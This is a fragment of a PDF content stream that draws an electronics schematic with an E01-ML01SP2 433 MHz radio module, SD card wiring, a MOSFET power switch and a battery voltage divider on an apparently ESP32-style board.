+S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 730.98 Td +(DG00_B) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 729.500 m +1205.000 727.500 l +1204.000 728.500 m +1206.000 728.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 720.98 Td +(DG02_B) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 719.500 m +1205.000 717.500 l +1204.000 718.500 m +1206.000 718.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 710.98 Td +(MISO2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 709.500 m +1205.000 707.500 l +1204.000 708.500 m +1206.000 708.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 690.98 Td +(MOSI2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 689.500 m +1205.000 687.500 l +1204.000 688.500 m +1206.000 688.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 700.98 Td +(SCK2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 699.500 m +1205.000 697.500 l +1204.000 698.500 m +1206.000 698.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1180.000 613.500 m +1180.000 623.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1171.000 613.500 m +1189.000 613.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1174.000 611.500 m +1186.000 611.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1177.000 609.500 m +1183.000 609.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1179.000 607.500 m +1181.000 607.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 670.98 Td +(VCC) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 669.500 m +1205.000 667.500 l +1204.000 668.500 m +1206.000 668.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 935.98 Td +(CS_A) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 934.500 m +1205.000 932.500 l +1204.000 933.500 m +1206.000 933.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 925.98 Td +(DG00_A) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 924.500 m +1205.000 922.500 l +1204.000 923.500 m +1206.000 923.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 915.98 Td +(DG02_A) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 914.500 m +1205.000 912.500 l +1204.000 913.500 m +1206.000 913.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 905.98 Td +(MISO2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 904.500 m +1205.000 902.500 l +1204.000 903.500 m +1206.000 903.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 895.98 Td +(SCK2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 894.500 m +1205.000 892.500 l +1204.000 893.500 m +1206.000 893.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 885.98 Td +(MOSI2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 884.500 m +1205.000 882.500 l +1204.000 883.500 m +1206.000 883.500 l +S +BT +/F3 12 Tf +12.00 TL +0.000 g +1.00 -0.00 0.00 1.00 1162.02 791.20 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1175.000 808.500 m +1175.000 818.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1166.000 808.500 m +1184.000 808.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1169.000 806.500 m +1181.000 806.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1172.000 804.500 m +1178.000 804.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +1174.000 802.500 m +1176.000 802.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +1207.02 865.98 Td +(VCC) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1205.000 864.500 m +1205.000 862.500 l +1204.000 863.500 m +1206.000 863.500 l +S +10.00 w +BT +/F4 37 Tf +37.00 TL +0.000 0.000 1.000 rg +1250.00 808.50 Td +(433Mhz) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +409.66 460.16 Td +(E01-ML01SP2) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +359.05 495.25 Td +(U7) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +382.000 563.500 m +458.000 563.500 l +459.105 563.500 460.000 562.605 460.000 561.500 c +460.000 475.500 l +460.000 474.395 458.895 473.500 458.000 473.500 c +382.000 473.500 l +380.895 473.500 380.000 474.605 380.000 475.500 c +380.000 561.500 l +380.000 562.605 381.105 563.500 382.000 563.500 c +S +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +459.00 476.00 m 459.00 476.83 458.33 477.50 457.50 477.50 c +456.67 477.50 456.00 476.83 456.00 476.00 c +456.00 475.17 456.67 474.50 457.50 474.50 c +458.33 474.50 459.00 475.17 459.00 476.00 c +B +BT +/F1 9 Tf +9.00 TL +1.000 0.000 0.000 rg +437.59 479.50 Td +(VCC) Tj +ET +BT +/F1 9 Tf +9.00 TL +1.000 0.000 0.000 rg +460.50 484.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +1.00 0.00 0.00 RG +[] 0 d +470.000 483.500 m +460.000 483.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +444.33 489.50 Td +(CE) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +460.50 494.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +470.000 493.500 m +460.000 493.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +437.14 499.50 Td +(CSN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +460.50 504.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +470.000 503.500 m +460.000 503.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +437.64 509.50 Td +(SCK) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +460.50 514.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +470.000 513.500 m +460.000 513.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +431.71 519.50 Td +(MOSI) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +460.50 524.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +470.000 523.500 m +460.000 523.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +431.71 529.50 Td +(MISO) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +460.50 534.50 Td +(6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +470.000 533.500 m +460.000 533.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +439.18 539.50 Td +(IRQ) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +460.50 544.50 Td +(7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +470.000 543.500 m +460.000 543.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 g +435.66 549.50 Td +(GND) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 g +460.50 554.50 Td +(8) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +470.000 553.500 m +460.000 553.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 403.00 555.78 Tm +(9) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 399.00 568.50 Tm +(9) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +400.000 583.500 m +400.000 563.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 403.00 480.50 Tm +(10) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +0.00 1.00 -1.00 0.00 399.00 462.07 Tm +(10) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +400.000 458.500 m +400.000 478.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 483.500 m +515.000 483.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 493.500 m +515.000 493.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 503.500 m +515.000 503.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 513.500 m +515.000 513.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 523.500 m +515.000 523.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 533.500 m +515.000 533.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 543.500 m +480.000 543.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +470.000 553.500 m +480.000 553.500 l +480.000 583.500 l +480.000 583.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +400.000 458.500 m +345.000 458.500 l +345.000 583.500 l +480.000 583.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +345.000 448.500 m +345.000 458.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +354.000 448.500 m +336.000 448.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +351.000 446.500 m +339.000 446.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +348.000 444.500 m +342.000 444.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +346.000 442.500 m +344.000 442.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +494.62 485.98 Td +(VCC) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +515.000 484.500 m +515.000 482.500 l +514.000 483.500 m +516.000 483.500 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +478.09 450.30 Td +(100nF) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +493.01 470.26 Td +(C6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +513.000 461.500 m +497.000 461.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 453.500 m +505.000 443.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +505.000 473.500 m +505.000 465.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +497.000 465.500 m +513.000 465.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +505.000 473.500 m +505.000 483.500 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +505.000 461.500 m +505.000 453.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +505.000 433.500 m +505.000 443.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +496.000 433.500 m +514.000 433.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +499.000 431.500 m +511.000 431.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +502.000 429.500 m +508.000 429.500 l +S +1 J +1 j +1.00 w +0.00 G +0.00 g +[] 0 d +504.000 427.500 m +506.000 427.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +486.07 525.98 Td +(MOSI2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +515.000 524.500 m +515.000 522.500 l +514.000 523.500 m +516.000 523.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +486.07 535.98 Td +(MISO2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +515.000 534.500 m +515.000 532.500 l +514.000 533.500 m +516.000 533.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +491.11 515.98 Td +(SCK2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +515.000 514.500 m +515.000 512.500 l +514.000 513.500 m +516.000 513.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +476.000 547.500 m +484.000 539.500 l +484.000 547.500 m +476.000 539.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +495.61 505.98 Td +(CSN) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +515.000 504.500 m +515.000 502.500 l +514.000 503.500 m +516.000 503.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +501.55 495.98 Td +(CE) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +515.000 494.500 m +515.000 492.500 l +514.000 493.500 m +516.000 493.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 785.98 Td +(SCK2) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 784.500 m +290.000 782.500 l +289.000 783.500 m +291.000 783.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +292.02 825.98 Td +(CE) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +290.000 824.500 m +290.000 822.500 l +289.000 823.500 m +291.000 823.500 l +S +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +115.00 508.50 Td +(SDMCC) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +105.00 488.50 Td +(CMD GPIO15) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +105.00 473.50 Td +(CLK GPIO14) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +105.00 458.50 Td +(D0 GPIO2) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +105.00 443.50 Td +(D1 GPIO4) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +105.00 428.50 Td +(D2 GPIO12) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +105.00 413.50 Td +(D3 GPIO13) Tj +ET +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +195.61 320.98 Td +(SCK) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +215.000 319.500 m +215.000 317.500 l +214.000 318.500 m +216.000 318.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +217.09 360.98 Td +(CS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +230.000 359.500 m +230.000 357.500 l +229.000 358.500 m +231.000 358.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +422.04 180.99 Td +(VDD) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +420.000 179.500 m +420.000 177.500 l +419.000 178.500 m +421.000 178.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +327.04 180.99 Td +(VCC) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +325.000 179.500 m +325.000 177.500 l +324.000 178.500 m +326.000 178.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +282.02 115.99 Td +(SD_DET) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +280.000 114.500 m +280.000 112.500 l +279.000 113.500 m +281.000 113.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +280.000 113.500 m +325.000 113.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +410.000 178.500 m +445.000 178.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +325.000 143.500 m +325.000 113.500 l +380.000 113.500 l +380.000 138.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +350.000 178.500 m +325.000 178.500 l +325.000 173.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +330.01 153.55 Td +(R13) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +327.69 143.55 Td +(10K) Tj +ET +1 J +1 j +1.00 w +0.00 G +[] 0 d +325.000 143.500 m +325.000 147.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +325.000 173.500 m +325.000 169.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +322.000 169.500 m +322.000 147.500 l +328.000 147.500 l +328.000 169.500 l +322.000 169.500 l +S +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +374.70 194.50 Td +(AO3401) Tj +ET +10.00 w +BT +/F3 9 Tf +9.00 TL +0.000 0.000 0.502 rg +374.71 201.36 Td +(Q3) Tj +ET +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +370.000 188.500 m +378.000 188.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +390.000 188.500 m +383.000 188.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +390.000 178.500 m +390.000 188.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +410.000 178.500 m +390.000 178.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +380.000 138.500 m +380.000 158.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +350.000 178.500 m +370.000 178.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +387.000 178.500 m +387.000 168.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +380.000 178.500 m +380.000 168.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +373.000 178.500 m +373.000 168.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +380.000 178.500 m +370.000 178.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +389.000 166.500 m +371.000 166.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +385.000 168.500 m +389.000 168.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +378.000 168.500 m +382.000 168.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +371.000 168.500 m +375.000 168.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +380.000 158.500 m +380.000 166.500 l +S +1 J +1 j +0.50 w +0.00 0.00 1.00 RG +0.00 0.00 1.00 rg +[] 0 d +380.000 178.500 m +382.000 172.500 l +378.000 172.500 l + h +B +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +387.000 178.500 m +390.000 178.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +370.000 178.500 m +370.000 188.500 l +S +1 J +1 j +0.50 w +0.00 0.00 1.00 RG +0.00 0.00 1.00 rg +[] 0 d +378.000 188.500 m +383.000 191.500 l +383.000 185.500 l + h +B +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +377.000 191.500 m +378.000 190.500 l +378.000 186.500 l +379.000 185.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +186.000 382.500 m +194.000 374.500 l +194.000 382.500 m +186.000 374.500 l +S +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +186.000 262.500 m +194.000 254.500 l +194.000 262.500 m +186.000 254.500 l +S +2 J +0 j +100 M +1.00 w +0.00 G +[6.000 6.000] 0 d +80.00 533.50 120.00 -135.00 re +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 853.500 m +565.000 853.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +552.09 855.98 Td +(CS) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +565.000 854.500 m +565.000 852.500 l +564.000 853.500 m +566.000 853.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 903.500 m +280.000 903.500 l +S +10.00 w +BT +/F2 6 Tf +6.00 TL +0.000 0.000 0.502 rg +1289.00 462.50 Td +(100K) Tj +ET +10.00 w +BT +/F2 6 Tf +6.00 TL +0.000 0.000 0.502 rg +1289.00 477.50 Td +(R14) Tj +ET +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1290.000 473.500 m +1293.000 476.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1293.000 476.500 m +1299.000 470.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1299.000 470.500 m +1305.000 476.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1305.000 476.500 m +1311.000 470.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1311.000 470.500 m +1317.000 476.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1317.000 476.500 m +1320.000 473.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1280.000 473.500 m +1290.000 473.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1330.000 473.500 m +1320.000 473.500 l +S +10.00 w +BT +/F2 6 Tf +6.00 TL +0.000 0.000 0.502 rg +1334.00 500.50 Td +(220K) Tj +ET +10.00 w +BT +/F2 6 Tf +6.00 TL +0.000 0.000 0.502 rg +1334.00 507.50 Td +(R15) Tj +ET +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1330.000 513.500 m +1333.000 510.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1333.000 510.500 m +1327.000 504.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1327.000 504.500 m +1333.000 498.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1333.000 498.500 m +1327.000 492.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1327.000 492.500 m +1333.000 486.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +1333.000 486.500 m +1330.000 483.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1330.000 523.500 m +1330.000 513.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +1330.000 473.500 m +1330.000 483.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1280.000 473.500 m +1248.000 473.500 l +1248.000 472.500 l +S +1 J +1 j +1.00 w +0.00 0.00 0.50 RG +0.00 g +[] 0 d +1330.000 473.500 m +1369.000 473.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +1.00 -0.00 0.00 1.00 1238.28 445.30 Tm +(GND) Tj +ET +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1248.000 472.500 m +1248.000 462.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1258.000 462.500 m +1238.000 462.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1255.000 459.500 m +1241.000 459.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1252.000 456.500 m +1244.000 456.500 l +S +1 J +1 j +1.00 w +0.50 0.00 0.00 RG +0.00 g +[] 0 d +1249.000 453.500 m +1247.000 453.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +1341.00 475.30 Td +(GPIO36) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1341.000 474.500 m +1341.000 472.500 l +1340.000 473.500 m +1342.000 473.500 l +S +BT +/F3 9 Tf +9.00 TL +0.502 0.000 0.000 rg +0.00 1.00 -1.00 0.00 1328.20 525.19 Tm +(VBAT) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +1330.000 549.500 m +1330.000 547.500 l +1329.000 548.500 m +1331.000 548.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +282.02 905.98 Td +(GPIO36) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +280.000 904.500 m +280.000 902.500 l +279.000 903.500 m +281.000 903.500 l +S +10.00 w +BT +/F2 6 Tf +6.00 TL +0.000 0.000 0.502 rg +524.75 294.50 Td +(0R) Tj +ET +10.00 w +BT +/F2 6 Tf +6.00 TL +0.000 0.000 0.502 rg +524.75 301.81 Td +(R16) Tj +ET +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +515.000 288.500 m +518.000 291.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +518.000 291.500 m +524.000 285.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +524.000 285.500 m +530.000 291.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +530.000 291.500 m +536.000 285.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +536.000 285.500 m +542.000 291.500 l +S +1 J +1 j +1.00 w +0.00 0.00 1.00 RG +0.00 g +[] 0 d +542.000 291.500 m +545.000 288.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +505.000 288.500 m +515.000 288.500 l +S +1 J +1 j +1.00 w +0.00 G +[] 0 d +555.000 288.500 m +545.000 288.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +555.000 288.500 m +625.000 288.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +598.50 290.98 Td +(logo_c) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +625.000 289.500 m +625.000 287.500 l +624.000 288.500 m +626.000 288.500 l +S +10.00 w +BT +/F1 12 Tf +12.00 TL +0.000 0.000 1.000 rg +515.00 273.50 Td +(\(NC\)) Tj +ET +1 J +1 j +1.00 w +0.20 0.80 0.20 RG +[] 0 d +516.000 737.500 m +524.000 729.500 l +524.000 737.500 m +516.000 729.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +585.000 743.500 m +520.000 743.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 753.500 m +585.000 753.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +553.10 745.98 Td +(U1RXD) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +585.000 744.500 m +585.000 742.500 l +584.000 743.500 m +586.000 743.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +553.55 755.98 Td +(U1TXD) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +585.000 754.500 m +585.000 752.500 l +584.000 753.500 m +586.000 753.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +520.000 883.500 m +565.000 883.500 l +S +BT +/F3 9 Tf +9.00 TL +0.000 0.000 1.000 rg +544.53 885.98 Td +(IO21) Tj +ET +1 J +1 j +0.10 w +0.00 G +[] 0 d +565.000 884.500 m +565.000 882.500 l +564.000 883.500 m +566.000 883.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 893.500 m +280.000 893.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 883.500 m +280.000 883.500 l +S +1 J +1 j +1.00 w +0.00 0.53 0.00 RG +0.00 g +[] 0 d +340.000 873.500 m +280.000 873.500 l +S +BT 